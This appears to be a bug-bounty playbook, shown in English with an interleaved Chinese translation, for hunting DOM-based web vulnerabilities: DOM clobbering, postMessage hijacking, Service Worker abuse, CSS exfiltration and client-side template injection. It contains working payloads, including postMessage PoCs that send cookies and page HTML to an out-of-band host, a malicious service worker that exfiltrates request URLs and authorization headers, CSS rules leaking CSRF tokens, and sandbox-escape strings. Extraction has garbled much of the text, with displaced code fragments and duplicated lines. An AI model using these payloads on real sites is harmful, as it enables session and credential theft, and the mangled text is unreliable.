hunt-dom
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseHUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil
HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil
Crown Jewel Targets
核心攻击目标
DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.
Highest-value chains:
- DOM Clobbering → DOM-XSS / auth bypass — HTML markup injection (no ) overwrites a JS global like
<script>or shadowswindow.config, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered.document.getElementById - PostMessage no origin check → session theft / DOM-XSS — a handler that trusts
messagewithout validatingevent.datalets an attacker iframe/opener drive privileged actions or feed a sink.event.origin - Service Worker abuse — register a same-origin SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope → persistent credential capture.
fetch - CSS Exfil — attribute-value selectors () leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.
input[value^="a"]
基于DOM的攻击在受害者浏览器中执行——服务器通常不会看到攻击载荷,因此WAF和服务器端输入过滤规则无法生效。PostMessage缺少源校验意味着无需XSS即可实现跨域令牌窃取。
最高价值攻击链:
- DOM Clobbering → DOM-XSS / 身份验证绕过 — HTML标记注入(无需标签)覆盖
<script>等JS全局变量,或遮蔽window.config,应用后续将该值视为URL/代码→在仅允许标记注入(脚本被过滤)的场景触发漏洞。document.getElementById - PostMessage无源校验 → 会话窃取 / DOM-XSS — 信任但未验证
event.data的event.origin处理器,允许攻击者通过iframe/opener执行特权操作或触发漏洞。message - Service Worker滥用 — 通过存储型XSS注册同源SW脚本(可通过上传/开放重定向/目标站点可访问路径获取)→拦截所有范围内的请求→持续捕获凭证。
fetch - CSS数据窃取 — 属性值选择器()无需JS即可逐字符将CSRF令牌/API密钥/随机数泄露至跨域服务器。
input[value^="a"]
Grounding — public research this is distilled from
参考公开研究成果
- DOM Clobbering / DOM-Invader — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
- DOMPurify clobbering & mXSS bypasses — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
- jQuery self-closing-tag XSS — CVE-2020-11022 and CVE-2020-11023 (jQuery < 3.5.0). Passing attacker HTML to
htmlPrefilter/.html()mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots..append() - CSS exfiltration — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential recursion to drop the per-char-position constraint).
@import
Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for technique provenance, not severity inflation.
- DOM Clobbering / DOM-Invader — Gareth Heyes与PortSwigger Web Security Academy的“DOM clobbering”主题;DOM-Invader内置专用clobbering扫描器。漏洞分类映射至学院的DOM漏洞实验。
- DOMPurify clobbering与mXSS绕过 — Michał Bentkowski(Securitum)关于通过clobbering和变异XSS绕过HTML sanitizer的博客系列。
- jQuery 自闭合标签XSS — CVE-2020-11022和CVE-2020-11023(jQuery < 3.5.0)。将攻击者提供的HTML传入
htmlPrefilter/.html()会自动变异为可执行标记。检查捆绑的jQuery版本;这是最常见的真实DOM-XSS根源之一。.append() - CSS数据窃取 — d0nut的“CSS Injection Attacks”/“Stealing Data With CSS”研究(通过顺序递归消除逐字符位置限制)。
@import
仅引用你复现的内容。不要在报告中粘贴这些作为“证据”——针对目标站点的PoC才是证据。此处列出的研究仅用于说明技术来源,而非夸大漏洞严重性。
Attack Surface Signals
攻击面信号
undefinedundefinedInjection points that allow MARKUP but may strip <script>:
允许标记注入但可能过滤<script>的注入点:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
用户简介/显示名称/评论/Markdown预览/SVG上传/CMS富文本编辑器
postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
PostMessage端点(iframe、SSO组件、支付框架、聊天组件):
/sso/ /embed/ /widget/ /oauth/ /sdk.js pay/checkout iframes
/sso/ /embed/ /widget/ /oauth/ /sdk.js pay/checkout iframes
Service worker presence:
Service Worker存在标识:
/sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
/sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
CSS injection points:
CSS注入点:
?theme= custom-css profile field email-template editor style= passthrough
---?theme= 自定义CSS配置字段 邮件模板编辑器 style=参数透传
---Phase 1 — DOM Clobbering
阶段1 — DOM Clobbering
bash
undefinedbash
undefinedSignal: app reads element IDs/names as if they were JS objects, OR feeds a
信号:应用将元素ID/名称视为JS对象读取,或将可clobber的全局变量传入漏洞触发点(location、innerHTML、eval、script.src)。
clobberable global into a sink (location, innerHTML, eval, script.src).
在允许命名/带ID元素通过的注入点注入标记(无需脚本)。
Inject MARKUP (no script) at a sink that lets named/id'd elements through.
单层级覆盖window.config:
Single-level clobber of window.config:
<a id="config" href="https://evil.com">
<a id="config" href="https://evil.com">
覆盖应用读取的非内置全局变量(getElementById等内置方法无法通过此方式遮蔽):
Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
<a id="config"></a><a id="config" name="url"> # window.config.url解析为攻击者可控的元素/字符串
<a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string
覆盖字符串强制转换的URL值(锚点toString() == href):
Clobber a string-coerced URL value (anchor toString() == href):
<a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href
<a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href
通过form/inputs实现嵌套window.a.b.c:
Nested window.a.b.c via form/inputs:
<form id="a"><input id="b" name="c" value="clobbered"></form>
<form id="a"><input id="b" name="c" value="clobbered"></form>
baseURI / 相对URL劫持:
baseURI / relative-URL hijack:
<base href="https://evil.com/"> # 改变所有相对src/href的指向
<base href="https://evil.com/"> # bends every relative src/href
—
```javascript
// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
const v = window[k];
// HTMLCollection / element => already clobbered or clobberable namespace
if (v && (v instanceof Element || v instanceof HTMLCollection))
console.log('[CLOBBERED/NAMESPACE]', k, v);
else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});bash
undefined
```javascript
// 浏览器控制台:查找可被clobber且会传入漏洞触发点的全局变量。
// 只有当应用后续将变量拼接至URL/HTML/eval时,该变量才具有利用价值。
const susp = ['config','settings','options','appConfig','init','data','user',
'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
const v = window[k];
// HTMLCollection / 元素 => 已被clobber或属于可clobber的命名空间
if (v && (v instanceof Element || v instanceof HTMLCollection))
console.log('[CLOBBERED/NAMESPACE]', k, v);
else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});bash
undefinedSource review: find globals fed into sinks (this is what makes clobbering exploitable)
源码审计:查找传入漏洞触发点的全局变量(这是clobbering可被利用的关键)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -nE
"document.(getElementById|baseURI)|window.[A-Za-z_]+.(url|src|href|html|cmd)|
location\s*=\s*[A-Za-z_]|.innerHTML\s*=|eval(|new Function(|.src\s*=\s*[A-Za-z_]"
"document.(getElementById|baseURI)|window.[A-Za-z_]+.(url|src|href|html|cmd)|
location\s*=\s*[A-Za-z_]|.innerHTML\s*=|eval(|new Function(|.src\s*=\s*[A-Za-z_]"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -nE
"document.(getElementById|baseURI)|window.[A-Za-z_]+.(url|src|href|html|cmd)|
location\s*=\s*[A-Za-z_]|.innerHTML\s*=|eval(|new Function(|.src\s*=\s*[A-Za-z_]"
"document.(getElementById|baseURI)|window.[A-Za-z_]+.(url|src|href|html|cmd)|
location\s*=\s*[A-Za-z_]|.innerHTML\s*=|eval(|new Function(|.src\s*=\s*[A-Za-z_]"
DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.
DOM-Invader(Burp)→ 启用"DOM clobbering" — 自动查找可clobber的源→漏洞触发点。
**jQuery angle:** if the bundle ships jQuery < 3.5.0, attacker HTML passed to `.html()`/`.append()` self-mutates to execute (**CVE-2020-11022 / CVE-2020-11023**). Confirm version then test `<style><style /><img src=x onerror=alert(document.domain)>`.
---
**jQuery角度:** 如果捆绑的jQuery版本 < 3.5.0,传入`.html()`/`.append()`的攻击者HTML会自动变异为可执行代码(**CVE-2020-11022 / CVE-2020-11023**)。确认版本后测试`<style><style /><img src=x onerror=alert(document.domain)>`。
---Phase 2 — PostMessage Hijacking
阶段2 — PostMessage劫持
Two bug classes: (a) listener trusts cross-origin data → drive a sink/privileged action; (b) sender broadcasts secrets with target origin → any framing page reads them.
'*'bash
undefined两类漏洞:(a) 处理器信任跨域数据→触发漏洞/执行特权操作;(b) 发送方使用目标源广播机密→任何嵌入页面均可读取。
'*'bash
undefinedFind handlers and flag the ones with NO origin check
查找处理器并标记无来源校验的实例
grep -rnE "addEventListener(\s*['"]message['"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null
| grep -vE ".origin\b"
| grep -vE ".origin\b"
grep -rnE "addEventListener(\s*['"]message['"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null
| grep -vE ".origin\b"
| grep -vE ".origin\b"
Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
然后查看每个实例的前后20行:event.data流向何处?(innerHTML/eval/location/令牌存储)
Senders that leak: grep for postMessage(<secret>, '*')
泄露机密的发送方:查找postMessage(<secret>, '*')
grep -rnE "postMessage([^,]+,\s*['"]*['"])" recon/$TARGET/ --include="*.js" 2>/dev/null
```html
<!-- PoC A: drive a no-origin-check LISTENER from an attacker page -->
<!-- Host on attacker.com; frames target and pushes a privileged message -->
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
document.getElementById('f').onload = () => {
const w = document.getElementById('f').contentWindow;
// Shape the payload to whatever the handler routes into a sink:
w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
};
</script>html
<!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' -->
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
// Only count it if e.origin is the TARGET and data carries a secret
out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>False-positive guard: a handler with a partial check (,origin.indexOf('target.com')>-1, regexendsWith('target.com')) is still vulnerable — bypass withtarget\.comortarget.com.evil.com. Confirm by serving the PoC from such a look-alike host and showing the message still lands.eviltarget.com
grep -rnE "postMessage([^,]+,\s*['"]*['"])" recon/$TARGET/ --include="*.js" 2>/dev/null
```html
<!-- PoC A:从攻击者页面驱动无来源校验的处理器 -->
<!-- 部署在attacker.com;嵌入目标站点并发送特权消息 -->
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
document.getElementById('f').onload = () => {
const w = document.getElementById('f').contentWindow;
// 根据处理器路由至漏洞触发点的格式构造载荷:
w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
};
</script>html
<!-- PoC B:捕获使用targetOrigin '*'的发送方泄露的机密 -->
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
// 仅当e.origin为目标站点且数据包含机密时记录
out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // 跨域证明
});
</script>误报防范:带有部分校验的处理器(、origin.indexOf('target.com')>-1、正则endsWith('target.com'))仍存在漏洞——可通过target\.com或target.com.evil.com绕过。通过从类似域名部署PoC并验证消息仍可接收来确认。eviltarget.com
Phase 3 — Service Worker Abuse
阶段3 — Service Worker滥用
Hard rule (corrects a common mistake): a SW script URL must be same-origin as the page calling . A cross-origin script URL () throws — there is no header that enables cross-origin SW script registration. only widens the scope a same-origin script may control, not where the script may live.
register()https://evil.com/sw.jsSecurityErrorService-Worker-AllowedSo the realistic path is: get a SW script onto the target origin (file upload that serves JS, open-redirect/path the origin reflects as a script, a JSON/JSONP endpoint with , or an existing route under your control), then register it from same-origin XSS.
text/javascriptbash
undefined硬性规则(纠正常见误解): SW脚本URL必须与调用的页面同源。跨域脚本URL()会抛出——没有任何头部可以启用跨域SW脚本注册。仅能扩大同源脚本可控制的范围,而非允许脚本来自其他域名。
register()https://evil.com/sw.jsSecurityErrorService-Worker-Allowed因此可行的利用路径是:将SW脚本上传至目标站点域名(通过可返回JS的文件上传功能、开放重定向/目标站点反射为脚本的路径、返回的JSON/JSONP端点,或你可控的现有路由),然后通过同源XSS注册它。
text/javascriptbash
undefinedEnumerate existing SW + its scope
枚举现有SW及其范围
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -iE "serviceWorker.register|navigator.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener('fetch'|caches"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -iE "serviceWorker.register|navigator.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener('fetch'|caches"
Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
查找可返回Content-Type: text/javascript的上传/路由:
curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type
curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type
```javascript
// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
.then(r => fetch('https://OOB/sw-registered?scope='+r.scope)) // OOB proof of registration
.catch(e => console.log('SW reg failed', e.name)); // SecurityError => wrong origin/scope
// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
e.respondWith(fetch(e.request.clone()).then(async resp => {
// Exfil URL + any auth header the page attaches, to OOB
fetch('https://OOB/sw-intercept', {method:'POST',
body: JSON.stringify({url: e.request.url,
auth: e.request.headers.get('authorization')})});
return resp;
}));
});Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger.
```javascript
// 在同源XSS中运行。脚本必须为同源(例如目标站点提供的/uploads/evil-sw.js
// 除非响应携带Service-Worker-Allowed,否则范围必须小于等于脚本所在目录)
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
.then(r => fetch('https://OOB/sw-registered?scope='+r.scope)) // 跨域证明注册成功
.catch(e => console.log('SW注册失败', e.name)); // SecurityError => 域名/范围错误
// evil-sw.js(部署在目标站点域名):
self.addEventListener('fetch', e => {
e.respondWith(fetch(e.request.clone()).then(async resp => {
// 将URL + 页面附加的任何认证头泄露至跨域服务器
fetch('https://OOB/sw-intercept', {method:'POST',
body: JSON.stringify({url: e.request.url,
auth: e.request.headers.get('authorization')})});
return resp;
}));
});持久性说明:SW在标签关闭后仍会留存,下次访问范围内页面时会重新运行——这也是其被评为Critical的原因。通过关闭所有标签、重新打开目标站点、并显示无需重新触发XSS即可获得新的跨域请求来确认持久性。
Phase 4 — CSS Injection / Exfiltration
阶段4 — CSS注入 / 数据窃取
bash
undefinedbash
undefinedPrereq: attacker controls CSS (custom-theme field, style= passthrough, email
前提:攻击者可控制CSS(自定义主题字段、style=参数透传、邮件模板、Markdown CSS)。目标:隐藏的CSRF输入框、meta标签中的API密钥、nonce属性。
template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
步骤1确认注入:在已知元素上注入"color:red",观察渲染效果。
Step 1 confirm injection: inject "color:red" on a known element, observe render.
步骤2通过属性选择器 + url()跨域逐字符泄露属性值。
Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.
—
> **Scope caveat (corrects an overstatement):** CSS exfil bypasses CSP that blocks *script execution* — it does **not** bypass a CSP whose `style-src` / `img-src` / `default-src` / `connect-src` restricts external origins, or `form-action`. If `img-src 'self'` is set, `url(https://OOB/...)` is **blocked**. Always read the live `Content-Security-Policy` header first; if external resource origins are locked down, CSS exfil is dead and you should say so rather than claim it.
```css
/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }python
undefined
> **范围说明(纠正夸大表述):** CSS数据窃取可绕过阻止脚本执行的CSP——但**无法绕过**限制外部域名的`style-src`/`img-src`/`default-src`/`connect-src`或`form-action`规则。如果设置了`img-src 'self'`,`url(https://OOB/...)`会被**阻止**。务必先查看实时`Content-Security-Policy`头;如果外部资源域名被锁定,CSS数据窃取无法生效,应如实说明而非声称可利用。
```css
/* 仅当首字符匹配时触发请求。 */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...所有字符... 然后通过@import链式泄露基于第0位匹配的第1位,以此类推。 */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }python
undefinedGenerate a single-position CSS exfil set (loop positions with sequential @import in practice)
生成单位置CSS数据窃取规则(实际需通过顺序@import递归处理多位置)
import string
chars = string.ascii_letters + string.digits + '-_'
attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
print("\n".join(
f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
import string
chars = string.ascii_letters + string.digits + '-_'
attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
print("\n".join(
f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
Real exfil needs recursion: serve a stylesheet whose @import pulls the next
真实窃取需要递归:提供一个样式表,仅当当前前缀匹配时才通过@import加载下一个位置的规则(d0nut技术)——
position's rules only after the current prefix matched (d0nut technique) —
这消除了“静态输入,单字符”的限制。
this removes the "static input, one char" limitation.
—
> Validation: the proof is **OOB hits**, not a rendered color. Stand up a Collaborator / request-bin and show one hit per correct character forming the real token, then demonstrate using that token in a state-changing CSRF request. No OOB callback = no finding (a 0-byte image or CSP-blocked request looks identical to success in DevTools).
---
> 验证:**跨域请求命中是唯一证明**,而非渲染颜色。搭建Collaborator/请求捕获工具,展示每个正确字符对应的跨域请求,然后演示使用窃取的令牌执行状态变更的CSRF请求。无跨域回调则无漏洞(在DevTools中,0字节图片或被CSP阻止的请求与成功请求外观一致)。
---Phase 5 — dangerouslySetInnerHTML / framework sinks
阶段5 — dangerouslySetInnerHTML / 框架漏洞触发点
bash
grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/nullbash
grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/nullIn minified Next/React bundles:
在压缩的Next/React包中:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -Eo 'dangerouslySetInnerHTML.{0,120}'
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -Eo 'dangerouslySetInnerHTML.{0,120}'
Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
追踪用户数据是否未经过滤器(DOMPurify/sanitize-html)直接传入。
If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.
如果存在DOMPurify,检查是否存在clobbering/mXSS绕过(Bentkowski研究)及版本。
---
---Phase 6 — Client-Side Template Injection
阶段6 — 客户端模板注入
bash
undefinedbash
undefinedDetect framework, then test the {{}} sink in a sandbox-bypass form.
检测框架,然后在沙箱绕过形式中测试{{}}漏洞触发点。
grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
探测(服务器可能渲染,因此需查看渲染后的DOM而非curl结果来确认是客户端模板):
{{7*7}} -> 49 in the live DOM (not in raw HTML) => CSTI
{{7*7}} -> 实时DOM中显示49(原始HTML中无)=> CSTI
AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
AngularJS沙箱逃逸载荷(版本相关;旧版1.x):
{{constructor.constructor('alert(document.domain)')()}}
{{constructor.constructor('alert(document.domain)')()}}
Vue: {{_c.constructor('alert(1)')()}} (varies by Vue 2/3 build)
Vue:{{_c.constructor('alert(1)')()}} (因Vue 2/3版本而异)
---
---Chain Table
攻击链对照表
| DOM finding | Chain to | Impact |
|---|---|---|
DOM Clobbering → clobbered URL into | DOM-XSS under markup-only injection | High / auth bypass |
| PostMessage no/weak origin check (listener) | data → innerHTML/eval/location sink | DOM-XSS → ATO |
PostMessage | any framing page reads token/auth code | Cross-origin token theft |
| CSS exfil (OOB-confirmed) | leak CSRF token → fire CSRF | CSRF chain (Medium+) |
| Same-origin Service Worker via XSS | intercept all in-scope fetch + auth headers | Persistent ATO (Critical) |
| dangerouslySetInnerHTML, no sanitizer | stored DOM-XSS | XSS → ATO |
| DOM发现 | 可链接至 | 影响 |
|---|---|---|
DOM Clobbering → 被覆盖的URL传入 | 仅标记注入场景下的DOM-XSS | 高 / 身份验证绕过 |
| PostMessage无/弱源校验(处理器) | 数据传入innerHTML/eval/location漏洞触发点 | DOM-XSS → 账户接管 |
PostMessage | 任何嵌入页面读取令牌/授权码 | 跨域令牌窃取 |
| CSS数据窃取(跨域验证) | 泄露CSRF令牌 → 触发CSRF | CSRF攻击链(中+) |
| 通过XSS注册同源Service Worker | 拦截所有范围内的fetch请求 + 认证头 | 持久化账户接管(严重) |
| dangerouslySetInnerHTML,无过滤 | 存储型DOM-XSS | XSS → 账户接管 |
Tools
工具
bash
undefinedbash
undefinedDOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
DOM Invader(Burp浏览器内置)—— 源→漏洞触发点追踪、PostMessage日志、clobbering扫描器
postMessage-tracker — Chrome extension logging cross-window messages
postMessage-tracker — Chrome扩展,记录跨窗口消息
Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
Burp Collaborator / interactsh / request-bin — CSS数据窃取与SW PoCs必备的跨域触发点
Verify any command URL before citing it in a report; do not paste unverified repo links.
在报告中引用命令URL前务必验证;不要粘贴未经验证的仓库链接。
---
---Validation (false-positive discipline)
验证(误报规避准则)
Match the repo standard: a technique that fires in DevTools is not a finding until impact is OOB-confirmed and state-proven.
- DOM Clobbering — show the clobbered value actually reaching a sink (XSS payload executes, or app navigates/loads from attacker URL). A clobberable global that never reaches a sink = no impact, do not report.
- PostMessage — distinguish a missing check from a weak one; bypass weak checks from a look-alike origin and capture via OOB. A noisy log alone is not proof — show the privileged action or token exfil.
message - CSS exfil — OOB callback per correct character is the only proof. Read CSP first: /
img-src/style-src/connect-srcrestricting external origins kills it. A blockeddefault-srcis indistinguishable from success in the Network tab — confirm on the Collaborator side.url() - Service Worker — registration must be same-origin script; a means you cited the wrong origin. Prove persistence (close tabs → reopen → fresh OOB hit, no XSS re-fire).
SecurityError - General — unique per-test markers () so an OOB hit is attributable to YOUR payload and not background traffic; body-diff the rendered DOM, not the raw HTML, since these are client-side.
btoa(domain)+nonce
Severity:
- Same-origin Service Worker → persistent credential intercept: Critical
- PostMessage data → DOM-XSS / token theft → ATO: High–Critical
- DOM Clobbering → DOM-XSS reaching auth/session: High
- CSS exfil of CSRF token (OOB-proven) → CSRF: Medium (raise if the chained CSRF is account-critical)
符合仓库标准:仅在DevTools中触发的技术不算漏洞,必须跨域验证并证明影响才算。
- DOM Clobbering — 展示被覆盖的值确实传入漏洞触发点(XSS载荷执行,或应用导航/加载攻击者URL)。可被clobber但从未传入漏洞触发点的全局变量无影响,无需报告。
- PostMessage — 区分“缺失”校验与“薄弱”校验;从类似域名绕过薄弱校验并通过跨域捕获。仅嘈杂的日志不算证据——需展示特权操作或令牌窃取。
message - CSS数据窃取 — 每个正确字符对应的跨域回调是唯一证明。先查看CSP:/
img-src/style-src/connect-src限制外部域名会导致攻击失效。在网络标签中,被阻止的default-src与成功请求无法区分——需在Collaborator端确认。url() - Service Worker — 注册必须使用同源脚本;说明你引用了错误域名。证明持久性(关闭标签→重新打开→无需重新触发XSS即可获得新的跨域请求)。
SecurityError - 通用准则 — 使用唯一测试标记(),确保跨域请求来自你的载荷而非后台流量;对比渲染后的DOM而非原始HTML,因为这些都是客户端漏洞。
btoa(domain)+nonce
严重性:
- 同源Service Worker → 持久化凭证拦截:严重
- PostMessage数据 → DOM-XSS / 令牌窃取 → 账户接管:高–严重
- DOM Clobbering → 涉及身份/会话的DOM-XSS:高
- CSS数据窃取CSRF令牌(跨域验证)→ CSRF:中(若链式CSRF涉及账户关键操作可升级)
Verification
自检
Run this self-test to confirm dom hunting readiness:
-
Skill integrity — confirm the skill file is readable and well-formed:bash
grep -q "name: hunt-dom" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
Category check — confirm the skill has a category:bash
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
Pitfalls section — confirm pitfalls are documented:bash
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
All 3 tests verify the skill is properly structured and ready for use.
运行以下自检确认DOM漏洞排查准备就绪:
-
技能完整性 — 确认技能文件可读且格式规范:bash
grep -q "name: hunt-dom" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
分类检查 — 确认技能已分类:bash
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱章节 — 确认已记录陷阱:bash
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部3项测试通过则说明技能结构规范,可投入使用。
Pitfalls
陷阱
- DOM XSS without sink confirmation — finding or
innerHTMLwith user input is a potential sink, not a confirmed bug. Trace the full data flow from source to sink.document.write - postMessage without origin check — receiving postMessage events without verifying is the vulnerability. Test with
event.origin.window.postMessage(payload, '*') - Source maps without secrets — files alone are informational. Need extracted API keys, internal paths, or credentials.
.map - eval with static strings — is not exploitable. Need dynamic input reaching eval.
eval("constant") - Sanitizer bypass claim without proof — claiming DOMPurify bypass requires a working payload against the specific version in use.
- 未确认漏洞触发点的DOM XSS — 发现或
innerHTML接收用户输入只是潜在漏洞触发点,而非已确认漏洞。需追踪从源到漏洞触发点的完整数据流。document.write - 无来源校验的postMessage — 接收postMessage事件但未验证才是漏洞。使用
event.origin测试。window.postMessage(payload, '*') - 无机密的源映射 — 文件仅提供信息。需提取API密钥、内部路径或凭证才算有用。
.map - 传入静态字符串的eval — 无法被利用。需动态输入传入eval才算漏洞。
eval("constant") - 无证明的Sanitizer绕过声明 — 声称DOMPurify绕过需针对目标站点使用的具体版本提供有效载荷。